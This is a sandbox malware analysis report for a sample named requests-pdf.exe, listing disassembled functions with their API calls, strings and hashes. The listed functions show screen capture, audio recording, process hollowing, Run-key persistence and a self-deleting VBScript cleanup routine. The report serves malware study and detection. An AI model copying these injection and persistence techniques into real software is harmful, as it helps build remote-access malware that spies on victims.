                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID:
                                                    • String ID:
                                                    • API String ID:
                                                    • Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
                                                    • Instruction ID: 53bc5e7f7d5daef5c63bd0c152c0dc115bfeda358a1a7ea53954a65c054c91ca
                                                    • Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
                                                    • Instruction Fuzzy Hash: 1001A276B106048FDF21CF24C914BAB33F5EB86316F4954ABD90A97382E774A9418B90
                                                    Function 00417F9F Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 324windowmemoryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00417FB9
                                                    • CreateCompatibleDC.GDI32(00000000), ref: 00417FC4
                                                      • Part of subcall function 00418452: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00418482
                                                    • CreateCompatibleBitmap.GDI32(?,00000000), ref: 00418045
                                                    • DeleteDC.GDI32(?), ref: 0041805D
                                                    • DeleteDC.GDI32(00000000), ref: 00418060
                                                    • SelectObject.GDI32(00000000,00000000), ref: 0041806B
                                                    • StretchBlt.GDI32(00000000,00000000,00000000,00000000,?,?,?,?,00000000,?,00CC0020), ref: 00418093
                                                    • GetCursorInfo.USER32(?), ref: 004180B5
                                                    • GetIconInfo.USER32(?,?), ref: 004180CB
                                                    • DeleteObject.GDI32(?), ref: 004180FA
                                                    • DeleteObject.GDI32(?), ref: 00418107
                                                    • DrawIcon.USER32(00000000,?,?,?), ref: 00418114
                                                    • BitBlt.GDI32(00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00660046), ref: 00418144
                                                    • GetObjectA.GDI32(?,00000018,?), ref: 00418173
                                                    • LocalAlloc.KERNEL32(00000040,00000028), ref: 004181BC
                                                    • LocalAlloc.KERNEL32(00000040,00000001), ref: 004181DF
                                                    • GlobalAlloc.KERNEL32(00000000,?), ref: 00418248
                                                    • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0041826B
                                                    • DeleteDC.GDI32(?), ref: 0041827F
                                                    • DeleteDC.GDI32(00000000), ref: 00418282
                                                    • DeleteObject.GDI32(00000000), ref: 00418285
                                                    • GlobalFree.KERNEL32(00CC0020), ref: 00418290
                                                    • DeleteObject.GDI32(00000000), ref: 00418344
                                                    • GlobalFree.KERNEL32(?), ref: 0041834B
                                                    • DeleteDC.GDI32(?), ref: 0041835B
                                                    • DeleteDC.GDI32(00000000), ref: 00418366
                                                    • DeleteDC.GDI32(?), ref: 00418398
                                                    • DeleteDC.GDI32(00000000), ref: 0041839B
                                                    • DeleteObject.GDI32(?), ref: 004183A1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Delete$Object$AllocCreateGlobal$CompatibleFreeIconInfoLocal$BitmapBitsCursorDisplayDrawEnumSelectSettingsStretch
                                                    • String ID: DISPLAY
                                                    • API String ID: 1352755160-865373369
                                                    • Opcode ID: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                    • Instruction ID: f05cd178694609e891ba83f5bdf02bb76ea447df34f4969275af8919d08089d1
                                                    • Opcode Fuzzy Hash: 86e38cefe18f60a5317b990390b8ef0f53fe4f457a10542f643d98f04a2d82c8
                                                    • Instruction Fuzzy Hash: 12C17C31508345AFD3209F25DC44BABBBE9FF88751F04082EF989932A1DB34E945CB5A
                                                    Function 00417245 Relevance: 47.5, APIs: 22, Strings: 5, Instructions: 290libraryloaderthreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwCreateSection,00000000,00000000), ref: 0041728C
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0041728F
                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwMapViewOfSection), ref: 004172A0
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172A3
                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwUnmapViewOfSection), ref: 004172B4
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172B7
                                                    • GetModuleHandleA.KERNEL32(ntdll,ZwClose), ref: 004172C8
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004172CB
                                                    • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 0041736C
                                                    • VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00417384
                                                    • GetThreadContext.KERNEL32(?,00000000), ref: 0041739A
                                                    • ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 004173C0
                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00417440
                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 00417454
                                                    • GetCurrentProcess.KERNEL32(?,00000000,00000000,00000000,?,00000001,00000000,00000040), ref: 0041748B
                                                    • WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00417558
                                                    • SetThreadContext.KERNEL32(?,00000000), ref: 00417575
                                                    • ResumeThread.KERNEL32(?), ref: 00417582
                                                    • VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 0041759A
                                                    • GetCurrentProcess.KERNEL32(?), ref: 004175A5
                                                    • TerminateProcess.KERNEL32(?,00000000), ref: 004175BF
                                                    • GetLastError.KERNEL32 ref: 004175C7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
                                                    • String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$ntdll
                                                    • API String ID: 4188446516-3035715614
                                                    • Opcode ID: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                    • Instruction ID: f03761d26bac9a2bfb1ad98f85ac7da09ef0bd98ba300517d6d91d37beebd467
                                                    • Opcode Fuzzy Hash: 42c1c999d1834e7e824fdbb4d1330a48ff0e689257c4ebc4fb7692fa9ae4ea32
                                                    • Instruction Fuzzy Hash: EEA17C71508304AFD7209F65DC45B6B7BF9FF48345F00082AF689C2661E775E984CB6A
                                                    Function 004112B5 Relevance: 43.9, APIs: 17, Strings: 8, Instructions: 189synchronizationsleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,004742F8,?,00000000), ref: 004112D4
                                                    • ExitProcess.KERNEL32 ref: 0041151D
                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00412679
                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00412692
                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                      • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,?,00000000), ref: 0041135B
                                                    • OpenProcess.KERNEL32(00100000,00000000,T@,?,?,?,?,00000000), ref: 0041136A
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 00411375
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 0041137C
                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 00411382
                                                      • Part of subcall function 004127D5: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 004127E3
                                                      • Part of subcall function 004127D5: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 004127FE
                                                      • Part of subcall function 004127D5: RegCloseKey.ADVAPI32(?,?,?,?,0040B94C,004660E0,00000001,000000AF,00465554), ref: 00412809
                                                    • PathFileExistsW.SHLWAPI(?,?,?,?,?,00000000), ref: 004113B3
                                                    • GetTempPathW.KERNEL32(00000104,?,?,?,?,?,?,?,?,00000000), ref: 0041140F
                                                    • GetTempFileNameW.KERNEL32(?,temp_,00000000,?,?,?,?,?,?,?,?,00000000), ref: 00411429
                                                    • lstrcatW.KERNEL32(?,.exe,?,?,?,?,?,?,?,00000000), ref: 0041143B
                                                      • Part of subcall function 0041B58F: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5EB
                                                      • Part of subcall function 0041B58F: WriteFile.KERNEL32(00000000,00000000,00000000,004061FD,00000000,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B5FF
                                                      • Part of subcall function 0041B58F: CloseHandle.KERNEL32(00000000,?,00000004,00000000,0041B6A5,00000000,00000000), ref: 0041B60C
                                                    • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00411483
                                                    • Sleep.KERNEL32(000001F4,?,?,?,?,00000000), ref: 004114C4
                                                    • OpenProcess.KERNEL32(00100000,00000000,?,?,?,?,?,00000000), ref: 004114D9
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 004114E4
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 004114EB
                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 004114F1
                                                      • Part of subcall function 0041B58F: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041B6A5,00000000,00000000,00000000), ref: 0041B5CE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateProcess$HandleOpen$CurrentObjectPathSingleTempValueWait$ExecuteExistsExitMutexNamePointerQueryShellSleepWritelstrcat
                                                    • String ID: .exe$0DG$@CG$T@$WDH$exepath$open$temp_
                                                    • API String ID: 4250697656-2665858469
                                                    • Opcode ID: b68df8224523070e2f82cd34dc7b2adce00a37accb578c29d62ccc5e9000c55b
                                                    • Instruction ID: b1cd6038c3dd2fca16f1d1fb39a824579eeb1b45f376adef666059b0b2e54ae4
                                                    • Opcode Fuzzy Hash: b68df8224523070e2f82cd34dc7b2adce00a37accb578c29d62ccc5e9000c55b
                                                    • Instruction Fuzzy Hash: D751B671A043156BDB00A7A0AC49EFE736D9B44715F1041BBF905A72D2EF7C8E828A9D
                                                    Function 0040C28E Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 282registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040C38B
                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C39E
                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040C3B7
                                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040C3E7
                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00000000,?,0040C2B0,?,00000000), ref: 0040AFC9
                                                      • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32(004740F8), ref: 0040AFD5
                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(00409993,00000000,?,0040C2B0,?,00000000), ref: 0040AFE3
                                                      • Part of subcall function 0041B58F: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041B6A5,00000000,00000000,00000000), ref: 0041B5CE
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C632
                                                    • ExitProcess.KERNEL32 ref: 0040C63E
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                    • String ID: """, 0$")$@CG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                    • API String ID: 1861856835-3168347843
                                                    • Opcode ID: 1fca09a02b8493e53294f51d4634f72964b40bbef437048ec22e150e28ca3ccf
                                                    • Instruction ID: c8b5e11b4abf5c95f8ab28b2bb359051ef64700817c412cd349ec45860bdb676
                                                    • Opcode Fuzzy Hash: 1fca09a02b8493e53294f51d4634f72964b40bbef437048ec22e150e28ca3ccf
                                                    • Instruction Fuzzy Hash: EB9175316042005AC314FB25D852ABF7799AF91718F10453FF98A631E2EF7CAD49C69E
                                                    Function 0040BF04 Relevance: 40.5, APIs: 6, Strings: 17, Instructions: 260registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C013
                                                    • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040C026
                                                    • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C056
                                                    • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004742F8,?,pth_unenc), ref: 0040C065
                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(004099A9,00000000,00000000,?,0040C2B0,?,00000000), ref: 0040AFC9
                                                      • Part of subcall function 0040AFBA: UnhookWindowsHookEx.USER32(004740F8), ref: 0040AFD5
                                                      • Part of subcall function 0040AFBA: TerminateThread.KERNEL32(00409993,00000000,?,0040C2B0,?,00000000), ref: 0040AFE3
                                                      • Part of subcall function 0041AB38: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,00403A40), ref: 0041AB5F
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C280
                                                    • ExitProcess.KERNEL32 ref: 0040C287
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                    • String ID: ")$.vbs$@CG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$`=G$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("
                                                    • API String ID: 3797177996-1998216422
                                                    • Opcode ID: c4cc4d00899e4284936be169aaff6719d95b62d3fffb22ecd15678fbb4326d45
                                                    • Instruction ID: 1063ce1f4075510d90626cdc8b34ac690c3cf2dc76fa2c9c3337a4c1feab76e8
                                                    • Opcode Fuzzy Hash: c4cc4d00899e4284936be169aaff6719d95b62d3fffb22ecd15678fbb4326d45
                                                    • Instruction Fuzzy Hash: B78191316042005BC315FB21D862ABF77A9ABD1308F10453FF586A71E2EF7CAD49869E
                                                    Function 0041A1BB Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041A2B2
                                                    • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041A2C6
                                                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,00465554), ref: 0041A2EE
                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00473EE8,00000000), ref: 0041A2FF
                                                    • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041A340
                                                    • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041A358
                                                    • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041A36D
                                                    • SetEvent.KERNEL32 ref: 0041A38A
                                                    • WaitForSingleObject.KERNEL32(000001F4), ref: 0041A39B
                                                    • CloseHandle.KERNEL32 ref: 0041A3AB
                                                    • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041A3CD
                                                    • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041A3D7
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                    • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$>G
                                                    • API String ID: 738084811-1408154895
                                                    • Opcode ID: 67a24f6113aabf6128109dc61cf26ab2441941a35e225fe1c9d441213504bd5b
                                                    • Instruction ID: 9d48d6c6e0579c1e833a8367b0d02802659df9f73890df0c3e8ff2b6504ede8e
                                                    • Opcode Fuzzy Hash: 67a24f6113aabf6128109dc61cf26ab2441941a35e225fe1c9d441213504bd5b
                                                    • Instruction Fuzzy Hash: 9A51C2712443056AD214BB31DC82EBF3B5CEB91758F10043FF455A21E2EE389D9986AF
                                                    Function 024E151C Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 189synchronizationsleepfileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateMutexA.KERNEL32(00000000,00000001,00000000,004742F8,?,00000000), ref: 024E153B
                                                    • ExitProcess.KERNEL32 ref: 024E1784
                                                      • Part of subcall function 024E28C4: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 024E28E0
                                                      • Part of subcall function 024E28C4: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 024E28F9
                                                      • Part of subcall function 024E28C4: RegCloseKey.ADVAPI32(?), ref: 024E2904
                                                      • Part of subcall function 024EB881: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,?,00000000), ref: 024E15C2
                                                    • OpenProcess.KERNEL32(00100000,00000000,024DE3BB,?,?,?,?,00000000), ref: 024E15D1
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 024E15DC
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 024E15E3
                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 024E15E9
                                                      • Part of subcall function 024E2A3C: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 024E2A4A
                                                      • Part of subcall function 024E2A3C: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A65
                                                      • Part of subcall function 024E2A3C: RegCloseKey.ADVAPI32(?,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A70
                                                    • PathFileExistsW.SHLWAPI(?,?,?,?,?,00000000), ref: 024E161A
                                                    • GetTempPathW.KERNEL32(00000104,?,?,?,?,?,?,?,?,00000000), ref: 024E1676
                                                    • GetTempFileNameW.KERNEL32(?,0046B7CC,00000000,?,?,?,?,?,?,?,?,00000000), ref: 024E1690
                                                    • lstrcatW.KERNEL32(?,0046B7D8,?,?,?,?,?,?,?,00000000), ref: 024E16A2
                                                      • Part of subcall function 024EB7F6: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB852
                                                      • Part of subcall function 024EB7F6: WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB866
                                                      • Part of subcall function 024EB7F6: CloseHandle.KERNEL32(00000000,?,00000000,024EB90C,00000000,00000000,?,?,024DA270), ref: 024EB873
                                                    • Sleep.KERNEL32(000001F4,?,?,?,?,00000000), ref: 024E172B
                                                    • OpenProcess.KERNEL32(00100000,00000000,024DE3BB,?,?,?,?,00000000), ref: 024E1740
                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,00000000), ref: 024E174B
                                                    • CloseHandle.KERNEL32(00000000,?,?,?,?,00000000), ref: 024E1752
                                                    • GetCurrentProcessId.KERNEL32(?,?,?,?,00000000), ref: 024E1758
                                                      • Part of subcall function 024EB7F6: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,?,?,00000000,024EB90C,00000000,00000000,?), ref: 024EB835
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseCreateProcess$HandleOpen$CurrentObjectPathSingleTempValueWait$ExistsExitMutexNamePointerQuerySleepWritelstrcat
                                                    • String ID: 0DG$@CG$WDH$exepath
                                                    • API String ID: 1212092484-1464086911
                                                    • Opcode ID: eb8ff656f144838187034c17abf61e056b931f5bb5ec87d5f57ca59327fe8020
                                                    • Instruction ID: d212d7363183d84d54e8b3fea8afae8a3be59bfa3d909a75fb52e8efc5c2227c
                                                    • Opcode Fuzzy Hash: eb8ff656f144838187034c17abf61e056b931f5bb5ec87d5f57ca59327fe8020
                                                    • Instruction Fuzzy Hash: E251E471A442056BEF10E7A0AC55EFF336EAB04752F104167F90AA7292EF748E41CE58
                                                    Function 00401BE8 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401C54
                                                    • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401C7E
                                                    • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401C8E
                                                    • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401C9E
                                                    • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401CAE
                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401CBE
                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401CCF
                                                    • WriteFile.KERNEL32(00000000,00471B02,00000002,00000000,00000000), ref: 00401CE0
                                                    • WriteFile.KERNEL32(00000000,00471B04,00000004,00000000,00000000), ref: 00401CF0
                                                    • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401D00
                                                    • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401D11
                                                    • WriteFile.KERNEL32(00000000,00471B0E,00000002,00000000,00000000), ref: 00401D22
                                                    • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401D32
                                                    • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401D42
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$Write$Create
                                                    • String ID: RIFF$WAVE$data$fmt
                                                    • API String ID: 1602526932-4212202414
                                                    • Opcode ID: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                    • Instruction ID: 129ba3454a43ec42bedb537cb07bfa8f9eb5569c2d2d4c431363fc199bcfbd5c
                                                    • Opcode Fuzzy Hash: 78ad8e7e5bc68969d37ee031f4dc22a1157de1b6325161424f695ba0fa01d69c
                                                    • Instruction Fuzzy Hash: 66416F726443187AE210DB51DD86FBB7EECEB85F54F40081AFA44D6090E7A4E909DBB3
                                                    Function 004064E0 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\user\Desktop\requests-pdf.exe,00000001,004068B2,C:\Users\user\Desktop\requests-pdf.exe,00000003,004068DA,004742E0,00406933), ref: 004064F4
                                                    • GetProcAddress.KERNEL32(00000000), ref: 004064FD
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 0040650E
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406511
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 00406522
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406525
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00406536
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406539
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 0040654A
                                                    • GetProcAddress.KERNEL32(00000000), ref: 0040654D
                                                    • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040655E
                                                    • GetProcAddress.KERNEL32(00000000), ref: 00406561
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
